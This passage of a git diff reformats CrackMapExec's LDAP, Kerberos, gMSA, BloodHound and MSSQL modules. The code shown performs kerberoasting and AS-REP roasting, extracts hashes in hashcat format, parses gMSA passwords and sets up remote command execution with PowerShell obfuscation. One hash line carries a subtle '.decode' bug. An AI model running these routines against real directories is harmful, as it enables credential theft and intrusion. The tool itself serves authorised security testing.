"-".join([str(int.from_bytes(sid[8 + (i * 4) : 12 + (i * 4)], byteorder="little")) for i in range(sub_authorities)]) + object_sid = "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority return object_sid except Exception: pass @@ -916,15 +827,7 @@ class ldap(connection): self.sid_domain = "-".join(sid.split("-")[:-1]) # 2. get all group cn name - search_filter = ( - "(|(objectSid=" - + self.sid_domain - + "-512)(objectSid=" - + self.sid_domain - + "-544)(objectSid=" - + self.sid_domain - + "-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" - ) + search_filter = "(|(objectSid=" + self.sid_domain + "-512)(objectSid=" + self.sid_domain + "-544)(objectSid=" + self.sid_domain + "-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" attributes = ["distinguishedName"] resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] @@ -933,22 +836,10 @@ class ldap(connection): continue for attribute in item["attributes"]: if str(attribute["type"]) == "distinguishedName": - answers.append( - str( - "(memberOf:1.2.840.113556.1.4.1941:=" - + attribute["vals"][0] - + ")" - ) - ) + answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")")) # 3. get member of these groups - search_filter = ( - "(&(objectCategory=user)(sAMAccountName=" - + self.username - + ")(|" - + "".join(answers) - + "))" - ) + search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))" attributes = [""] resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] @@ -975,9 +866,7 @@ class ldap(connection): return resp except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: - self.logger.fail( - "sizeLimitExceeded exception caught, giving up and processing the data received" - ) + self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received") # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() @@ -1049,11 +938,7 @@ class ldap(connection): if self.password == "" and self.nthash == "" and self.kerberos is False: return False # Building the search filter - search_filter = ( - "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" - "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" - % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) - ) + search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) attributes = [ "sAMAccountName", "pwdLastSet", @@ -1090,20 +975,12 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": pwdLastSet = "" else: - pwdLastSet = str( - datetime.fromtimestamp( - self.getUnixTime(int(str(attribute["vals"][0]))) - ) - ) + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) elif str(attribute["type"]) == "lastLogon": if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str( - datetime.fromtimestamp( - self.getUnixTime(int(str(attribute["vals"][0]))) - ) - ) + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) if mustCommit is True: answers.append( [ @@ -1133,10 +1010,7 @@ class ldap(connection): def kerberoasting(self): # Building the search filter - searchFilter = ( - "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" - ) + searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" attributes = [ "servicePrincipalName", "sAMAccountName", @@ -1171,10 +1045,7 @@ class ldap(connection): userAccountControl = str(attribute["vals"][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = "unconstrained" - elif ( - int(userAccountControl) - & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION - ): + elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = "constrained" elif str(attribute["type"]) == "memberOf": memberOf = str(attribute["vals"][0]) @@ -1182,29 +1053,19 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": pwdLastSet = "" else: - pwdLastSet = str( - datetime.fromtimestamp( - self.getUnixTime(int(str(attribute["vals"][0]))) - ) - ) + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) elif str(attribute["type"]) == "lastLogon": if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str( - datetime.fromtimestamp( - self.getUnixTime(int(str(attribute["vals"][0]))) - ) - ) + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) elif str(attribute["type"]) == "servicePrincipalName": for spn in attribute["vals"]: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug( - f"Bypassing disabled account {sAMAccountName} " - ) + self.logger.debug(f"Bypassing disabled account {sAMAccountName} ") else: for spn in SPNs: answers.append( @@ -1218,9 +1079,7 @@ class ldap(connection): ] ) except Exception as e: - cme_logger.error( - f"Skipping item, cannot process due to error {str(e)}" - ) + cme_logger.error(f"Skipping item, cannot process due to error {str(e)}") pass if len(answers) > 0: @@ -1240,9 +1099,7 @@ class ldap(connection): try: principalName = Principal() - principalName.type = ( - constants.PrincipalNameType.NT_MS_PRINCIPAL.value - ) + principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value principalName.components = [downLevelLogonName] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( @@ -1260,13 +1117,9 @@ class ldap(connection): sAMAccountName, self.targetDomain + "/" + sAMAccountName, ) - self.logger.highlight( - f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}" - ) + self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}") self.logger.highlight(f"{r}") - with open( - self.args.kerberoasting, "a+" - ) as hash_kerberoasting: + with open(self.args.kerberoasting, "a+") as hash_kerberoasting: hash_kerberoasting.write(r + "\n") dejavue.append(sAMAccountName) except Exception as e: @@ -1315,20 +1168,12 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": pwdLastSet = "" else: - pwdLastSet = str( - datetime.fromtimestamp( - self.getUnixTime(int(str(attribute["vals"][0]))) - ) - ) + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) elif str(attribute["type"]) == "lastLogon": if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str( - datetime.fromtimestamp( - self.getUnixTime(int(str(attribute["vals"][0]))) - ) - ) + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) if mustCommit is True: answers.append( [ @@ -1369,9 +1214,7 @@ class ldap(connection): ) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: - self.logger.debug( - "sizeLimitExceeded exception caught, giving up and processing the data received" - ) + self.logger.debug("sizeLimitExceeded exception caught, giving up and processing the data received") # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() @@ -1406,20 +1249,12 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": pwdLastSet = "" else: - pwdLastSet = str( - datetime.fromtimestamp( - self.getUnixTime(int(str(attribute["vals"][0]))) - ) - ) + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) elif str(attribute["type"]) == "lastLogon": if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str( - datetime.fromtimestamp( - self.getUnixTime(int(str(attribute["vals"][0]))) - ) - ) + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) if mustCommit is True: answers.append( [ @@ -1433,9 +1268,7 @@ class ldap(connection): ) except Exception as e: self.logger.debug("Exception:", exc_info=True) - self.logger.debug( - f"Skipping item, cannot process due to error {str(e)}" - ) + self.logger.debug(f"Skipping item, cannot process due to error {str(e)}") pass if len(answers) > 0: self.logger.debug(answers) @@ -1481,20 +1314,12 @@ class ldap(connection): if str(attribute["vals"][0]) == "0": pwdLastSet = "" else: - pwdLastSet = str( - datetime.fromtimestamp( - self.getUnixTime(int(str(attribute["vals"][0]))) - ) - ) + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) elif str(attribute["type"]) == "lastLogon": if str(attribute["vals"][0]) == "0": lastLogon = "" else: - lastLogon = str( - datetime.fromtimestamp( - self.getUnixTime(int(str(attribute["vals"][0]))) - ) - ) + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0]))))) if mustCommit is True: answers.append( [ @@ -1507,9 +1332,7 @@ class ldap(connection): ) except Exception as e: self.logger.debug("Exception:", exc_info=True) - self.logger.debug( - f"Skipping item, cannot process due to error {str(e)}" - ) + self.logger.debug(f"Skipping item, cannot process due to error {str(e)}") pass if len(answers) > 0: self.logger.debug(answers) @@ -1560,9 +1383,7 @@ class ldap(connection): gmsa_account_name = (domain_name + account_name).upper() self.logger.debug(f"GMSA name for {gmsa_account_name}") bin_account_name = gmsa_account_name.encode("utf-16le") - bin_hash = hmac.new( - bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256 - ).digest() + bin_hash = hmac.new(bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256).digest() hex_letters = "0123456789abcdef" str_hash = "" for b in bin_hash: @@ -1586,29 +1407,17 @@ class ldap(connection): ) if gmsa_accounts: answers = [] - self.logger.debug( - f"Total of records returned {len(gmsa_accounts):d}" - ) + self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") for item in gmsa_accounts: - if ( - isinstance(item, ldapasn1_impacket.SearchResultEntry) - is not True - ): + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue sAMAccountName = "" for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": sAMAccountName = str(attribute["vals"][0]) - if ( - self.decipher_gmsa_name( - self.domain.split(".")[0], sAMAccountName[:-1] - ) - == self.args.gmsa_convert_id - ): - self.logger.highlight( - f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}" - ) + if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id: + self.logger.highlight(f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}") break else: self.logger.fail("No string provided :'(") @@ -1629,26 +1438,16 @@ class ldap(connection): ) if gmsa_accounts: answers = [] - self.logger.debug( - f"Total of records returned {len(gmsa_accounts):d}" - ) + self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") for item in gmsa_accounts: - if ( - isinstance(item, ldapasn1_impacket.SearchResultEntry) - is not True - ): + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue sAMAccountName = "" for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": sAMAccountName = str(attribute["vals"][0]) - if ( - self.decipher_gmsa_name( - self.domain.split(".")[0], sAMAccountName[:-1] - ) - == gmsa_id - ): + if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == gmsa_id: gmsa_id = sAMAccountName break # convert to ntlm @@ -1681,14 +1480,10 @@ class ldap(connection): dns_tcp=False, dns_timeout=3, ) - collect = resolve_collection_methods( - "Default" if not self.args.collection else self.args.collection - ) + collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) if not collect: return - self.logger.highlight( - "Resolved collection methods: %s", ", ".join(list(collect)) - ) + self.logger.highlight("Resolved collection methods: %s", ", ".join(list(collect))) self.logger.debug("Using DNS to retrieve domain information") ad.dns_resolve(domain=self.domain) @@ -1713,9 +1508,7 @@ class ldap(connection): exclude_dcs=False, ) - self.logger.highlight( - f"Compressing output into {self.output_filename}bloodhound.zip" - ) + self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip") list_of_files = os.listdir(os.getcwd()) with ZipFile(self.output_filename + "bloodhound.zip", "w") as z: for each_file in list_of_files: diff --git a/cme/protocols/ldap/bloodhound.py b/cme/protocols/ldap/bloodhound.py index b85d2f21..1b9f42db 100644 --- a/cme/protocols/ldap/bloodhound.py +++ b/cme/protocols/ldap/bloodhound.py @@ -18,21 +18,15 @@ class BloodHound(object): self.proto_logger(port, hostname, host) def proto_logger(self, port, hostname, host): - self.logger = CMEAdapter( - extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname} - ) + self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) def connect(self): if len(self.ad.dcs()) == 0: - self.logger.fail( - "Could not find a domain controller. Consider specifying a domain and/or DNS server." - ) + self.logger.fail("Could not find a domain controller. Consider specifying a domain and/or DNS server.") sys.exit(1) if not self.ad.baseDN: - self.logger.fail( - "Could not figure out the domain to query. Please specify this manually with -d" - ) + self.logger.fail("Could not figure out the domain to query. Please specify this manually with -d") sys.exit(1) pdc = self.ad.dcs()[0] @@ -87,9 +81,7 @@ class BloodHound(object): cache_computers=do_computer_enum, ) # Initialize enumerator - membership_enum = MembershipEnumerator( - self.ad, self.pdc, collect, disable_pooling - ) + membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling) membership_enum.enumerate_memberships(timestamp=timestamp) elif "container" in collect: # Fetch domains for later, computers if needed @@ -99,16 +91,12 @@ class BloodHound(object): cache_computers=do_computer_enum, ) # Initialize enumerator - membership_enum = MembershipEnumerator( - self.ad, self.pdc, collect, disable_pooling - ) + membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling) membership_enum.do_container_collection(timestamp=timestamp) elif do_computer_enum: # We need to know which computers to query regardless # We also need the domains to have a mapping from NETBIOS -> FQDN for local admins - self.pdc.prefetch_info( - "objectprops" in collect, "acl" in collect, cache_computers=True - ) + self.pdc.prefetch_info("objectprops" in collect, "acl" in collect, cache_computers=True) elif "trusts" in collect: # Prefetch domains self.pdc.get_domains("acl" in collect) @@ -126,9 +114,7 @@ class BloodHound(object): computerfile=computerfile, exclude_dcs=exclude_dcs, ) - computer_enum.enumerate_computers( - self.ad.computers, num_workers=num_workers, timestamp=timestamp - ) + computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp) end_time = time.time() minutes, seconds = divmod(int(end_time - start_time), 60) self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds)) diff --git a/cme/protocols/ldap/database.py b/cme/protocols/ldap/database.py index 7df4a37a..d702a5db 100644 --- a/cme/protocols/ldap/database.py +++ b/cme/protocols/ldap/database.py @@ -47,19 +47,10 @@ class database: def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.CredentialsTable = Table( - "credentials", self.metadata, autoload_with=self.db_engine - ) - self.HostsTable = Table( - "hosts", self.metadata, autoload_with=self.db_engine - ) + self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) + self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): diff --git a/cme/protocols/ldap/db_navigator.py b/cme/protocols/ldap/db_navigator.py index b1afbf92..36777af1 100644 --- a/cme/protocols/ldap/db_navigator.py +++ b/cme/protocols/ldap/db_navigator.py @@ -6,12 +6,7 @@ from cme.cmedb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): - if ( - input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " - ) - == "y" - ): + if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): diff --git a/cme/protocols/ldap/gmsa.py b/cme/protocols/ldap/gmsa.py index 5700914e..3e2e7f31 100644 --- a/cme/protocols/ldap/gmsa.py +++ b/cme/protocols/ldap/gmsa.py @@ -28,20 +28,9 @@ class MSDS_MANAGEDPASSWORD_BLOB(Structure): else: endData = self["PreviousPasswordOffset"] - self["CurrentPassword"] = self.rawData[self["CurrentPasswordOffset"] :][ - : endData - self["CurrentPasswordOffset"] - ] + self["CurrentPassword"] = self.rawData[self["CurrentPasswordOffset"] :][: endData - self["CurrentPasswordOffset"]] if self["PreviousPasswordOffset"] != 0: - self["PreviousPassword"] = self.rawData[self["PreviousPasswordOffset"] :][ - : self["QueryPasswordIntervalOffset"] - self["PreviousPasswordOffset"] - ] + self["PreviousPassword"] = self.rawData[self["PreviousPasswordOffset"] :][: self["QueryPasswordIntervalOffset"] - self["PreviousPasswordOffset"]] - self["QueryPasswordInterval"] = self.rawData[ - self["QueryPasswordIntervalOffset"] : - ][ - : self["UnchangedPasswordIntervalOffset"] - - self["QueryPasswordIntervalOffset"] - ] - self["UnchangedPasswordInterval"] = self.rawData[ - self["UnchangedPasswordIntervalOffset"] : - ] + self["QueryPasswordInterval"] = self.rawData[self["QueryPasswordIntervalOffset"] :][: self["UnchangedPasswordIntervalOffset"] - self["QueryPasswordIntervalOffset"]] + self["UnchangedPasswordInterval"] = self.rawData[self["UnchangedPasswordIntervalOffset"] :] diff --git a/cme/protocols/ldap/kerberos.py b/cme/protocols/ldap/kerberos.py index 584a2d27..cca85b9d 100644 --- a/cme/protocols/ldap/kerberos.py +++ b/cme/protocols/ldap/kerberos.py @@ -65,76 +65,44 @@ class KerberosAttacks: # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) # last 12 bytes of the encrypted ticket represent the checksum of the decrypted # ticket - if ( - decodedTGS["ticket"]["enc-part"]["etype"] - == constants.EncryptionTypes.rc4_hmac.value - ): + if decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.rc4_hmac.value: entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % ( constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS["ticket"]["realm"], spn.replace(":", "~"), - hexlify( - decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets() - ).decode(), - hexlify( - decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets() - ).decode(), + hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(), + hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(), ) - elif ( - decodedTGS["ticket"]["enc-part"]["etype"] - == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value - ): + elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS["ticket"]["realm"], spn.replace(":", "~"), - hexlify( - decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets() - ).decode(), - hexlify( - decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets() - ).decode, + hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(), + hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode, ) - elif ( - decodedTGS["ticket"]["enc-part"]["etype"] - == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value - ): + elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % ( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS["ticket"]["realm"], spn.replace(":", "~"), - hexlify( - decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets() - ).decode(), - hexlify( - decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets() - ).decode(), + hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(), + hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode(), ) - elif ( - decodedTGS["ticket"]["enc-part"]["etype"] - == constants.EncryptionTypes.des_cbc_md5.value - ): + elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.des_cbc_md5.value: entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % ( constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS["ticket"]["realm"], spn.replace(":", "~"), - hexlify( - decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets() - ).decode(), - hexlify( - decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets() - ).decode(), + hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(), + hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(), ) else: - cme_logger.error( - "Skipping" - f" {decodedTGS['ticket']['sname']['name-string'][0]}/{decodedTGS['ticket']['sname']['name-string'][1]} due" - f" to incompatible e-type {decodedTGS['ticket']['enc-part']['etype']:d}" - ) + cme_logger.error("Skipping" f" {decodedTGS['ticket']['sname']['name-string'][0]}/{decodedTGS['ticket']['sname']['name-string'][1]} due" f" to incompatible e-type {decodedTGS['ticket']['enc-part']['etype']:d}") return entry @@ -160,9 +128,7 @@ class KerberosAttacks: pass # No TGT in cache, request it - userName = Principal( - self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value - ) + userName = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the @@ -209,16 +175,12 @@ class KerberosAttacks: return TGT def getTGT_asroast(self, userName, requestPAC=True): - clientName = Principal( - userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value - ) + clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) asReq = AS_REQ() domain = self.targetDomain.upper() - serverName = Principal( - "krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value - ) + serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest["include-pac"] = requestPAC @@ -229,9 +191,7 @@ class KerberosAttacks: asReq["padata"] = noValue asReq["padata"][0] = noValue - asReq["padata"][0]["padata-type"] = int( - constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value - ) + asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq["padata"][0]["padata-value"] = encodedPacRequest reqBody = seq_set(asReq, "req-body") @@ -274,11 +234,7 @@ class KerberosAttacks: message = encoder.encode(asReq) r = sendReceive(message, domain, self.kdcHost) elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value: - return ( - "Password of user " - + userName - + " expired but user doesn't require pre-auth" - ) + return "Password of user " + userName + " expired but user doesn't require pre-auth" else: cme_logger.debug(e) return False @@ -292,9 +248,7 @@ class KerberosAttacks: asRep = decoder.decode(r, asn1Spec=AS_REP())[0] else: # The user doesn't have UF_DONT_REQUIRE_PREAUTH set - cme_logger.debug( - "User %s doesn't have UF_DONT_REQUIRE_PREAUTH set" % userName - ) + cme_logger.debug("User %s doesn't have UF_DONT_REQUIRE_PREAUTH set" % userName) return # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. diff --git a/cme/protocols/ldap/smbldap.py b/cme/protocols/ldap/smbldap.py index eacc92f9..8d0c0075 100644 --- a/cme/protocols/ldap/smbldap.py +++ b/cme/protocols/ldap/smbldap.py @@ -27,9 +27,7 @@ class LDAPConnect: self.proto_logger(host, port, hostname) def proto_logger(self, host, port, hostname): - self.logger = CMEAdapter( - extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname} - ) + self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) def kerberos_login( self, @@ -82,9 +80,7 @@ class LDAPConnect: if str(e).find("strongerAuthRequired") >= 0: # We need to try SSL try: - ldapConnection = ldap_impacket.LDAPConnection( - f"ldaps://{kdcHost}", baseDN - ) + ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN) ldapConnection.login( username, password, @@ -114,9 +110,7 @@ class LDAPConnect: return False except OSError as e: - self.logger.debug( - f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}" - ) + self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") return False except KerberosError as e: self.logger.fail( @@ -144,9 +138,7 @@ class LDAPConnect: baseDN = baseDN[:-1] try: - ldapConnection = ldap_impacket.LDAPConnection( - f"ldap://{domain}", baseDN, domain - ) + ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain) ldapConnection.login(username, password, domain, lmhash, nthash) # Connect to LDAP @@ -161,9 +153,7 @@ class LDAPConnect: if str(e).find("strongerAuthRequired") >= 0: # We need to try SSL try: - ldapConnection = ldap_impacket.LDAPConnection( - f"ldaps://{domain}", baseDN, domain - ) + ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain) ldapConnection.login(username, password, domain, lmhash, nthash) self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" @@ -184,7 +174,5 @@ class LDAPConnect: return False except OSError as e: - self.logger.debug( - f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}" - ) + self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") return False diff --git a/cme/protocols/mssql.py b/cme/protocols/mssql.py index 637d53e7..a79cf8ef 100755 --- a/cme/protocols/mssql.py +++ b/cme/protocols/mssql.py @@ -40,13 +40,9 @@ class mssql(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - mssql_parser = parser.add_parser( - "mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser] - ) + mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser]) dgroup = mssql_parser.add_mutually_exclusive_group() - dgroup.add_argument( - "-d", metavar="DOMAIN", dest="domain", type=str, help="domain name" - ) + dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name") dgroup.add_argument( "--local-auth", action="store_true", @@ -87,17 +83,13 @@ class mssql(connection): help="continues authentication attempts even after successes", ) - cgroup = mssql_parser.add_argument_group( - "Command Execution", "options for executing commands" - ) + cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands") cgroup.add_argument( "--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process", ) - cgroup.add_argument( - "--no-output", action="store_true", help="do not retrieve command output" - ) + cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") xgroup = cgroup.add_mutually_exclusive_group() xgroup.add_argument( "-x", @@ -112,21 +104,15 @@ class mssql(connection): help="execute the specified PowerShell command", ) - psgroup = mssql_parser.add_argument_group( - "Powershell Obfuscation", "Options for PowerShell script obfuscation" - ) - psgroup.add_argument( - "--obfs", action="store_true", help="Obfuscate PowerShell scripts" - ) + psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation") + psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts") psgroup.add_argument( "--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts", ) - tgroup = mssql_parser.add_argument_group( - "Files", "Options for put and get remote files" - ) + tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files") tgroup.add_argument( "--put-file", nargs=2, @@ -198,9 +184,7 @@ class mssql(connection): if self.args.local_auth: self.domain = self.hostname except Exception as e: - self.logger.fail( - f"Error retrieving host domain: {e} specify one manually with the '-d' flag" - ) + self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag") self.mssql_instances = self.conn.getInstances(0) self.db.add_host( @@ -217,9 +201,7 @@ class mssql(connection): pass def print_host_info(self): - self.logger.display( - f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})" - ) + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") # if len(self.mssql_instances) > 0: # self.logger.display("MSSQL DB Instances: {}".format(len(self.mssql_instances))) # for i, instance in enumerate(self.mssql_instances): @@ -313,19 +295,8 @@ class mssql(connection): f"{domain}\\" if not self.args.local_auth else "", username, # Show what was used between cleartext, nthash, aesKey and ccache - " from ccache" - if useCache - else ":%s" - % ( - kerb_pass - if not self.config.get("CME", "audit_mode") - else self.config.get("CME", "audit_mode") * 8 - ), - highlight( - f'({self.config.get("CME", "pwn3d_label")})' - if self.admin_privs - else "" - ), + " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8), + highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""), ) self.logger.success(out) if not self.args.local_auth: @@ 